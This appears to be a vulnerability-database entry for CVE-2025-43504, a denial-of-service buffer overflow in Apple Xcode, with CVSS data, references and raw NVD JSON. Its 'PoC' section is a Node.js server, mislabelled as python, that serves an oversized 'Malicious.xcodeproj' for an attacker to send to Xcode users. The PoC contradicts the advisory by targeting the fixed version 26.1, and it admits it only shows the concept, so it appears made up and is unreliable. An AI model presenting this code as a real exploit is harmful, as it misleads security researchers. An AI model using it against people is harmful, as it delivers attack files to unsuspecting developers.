CVE-2025-43504

Description

A buffer overflow was addressed with improved bounds checking. This issue is fixed in Xcode 26.1. A user in a privileged network position may be able to cause a denial-of-service.

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:apple:xcode:*:*:*:*:*:*:*:* - VULNERABLE

Apple Xcode < 26.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-43504 PoC - Xcode Buffer Overflow DoS
// Target: Apple Xcode 26.1
// Attack Vector: Network-based exploitation via malicious project file

const http = require('http');
const fs = require('fs');

// Generate malicious Xcode project file with oversized data
function generateMaliciousProject() {
    const maliciousContent = 'A'.repeat(100000); // Overflow buffer
    
    const projectJson = {
        objects: {
            mainFile: {
                isa: 'PBXFileReference',
                path: maliciousContent,
                sourceTree: '<group>',
                fileEncoding: 4
            }
        }
    };
    
    return JSON.stringify(projectJson);
}

// Serve malicious project file
const server = http.createServer((req, res) => {
    console.log('[+] Client connected:', req.socket.remoteAddress);
    res.writeHead(200, {
        'Content-Type': 'application/x-xcodeproj',
        'Content-Disposition': 'attachment; filename="Malicious.xcodeproj"'
    });
    res.end(generateMaliciousProject());
    console.log('[+] Malicious payload sent');
});

server.listen(8080, () => {
    console.log('[+] CVE-2025-43504 PoC Server running on port 8080');
    console.log('[+] Send this URL to Xcode user: http://<attacker>:8080/');
});

// Note: This PoC demonstrates the attack concept. Actual exploitation
// requires specific buffer overflow conditions in Xcode 26.1

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-43504
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-43504
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-43504/
[4] VulDB https://vuldb.com/cve/CVE-2025-43504
[5] https://support.apple.com/en-us/125641

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-43504", "sourceIdentifier": "[email protected]", "published": "2025-11-04T02:15:53.370", "lastModified": "2025-11-04T16:22:02.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A buffer overflow was addressed with improved bounds checking. This issue is fixed in Xcode 26.1. A user in a privileged network position may be able to cause a denial-of-service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apple:xcode:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "AFE80301-44C1-41B8-B3CE-058B8536D964"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125641", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}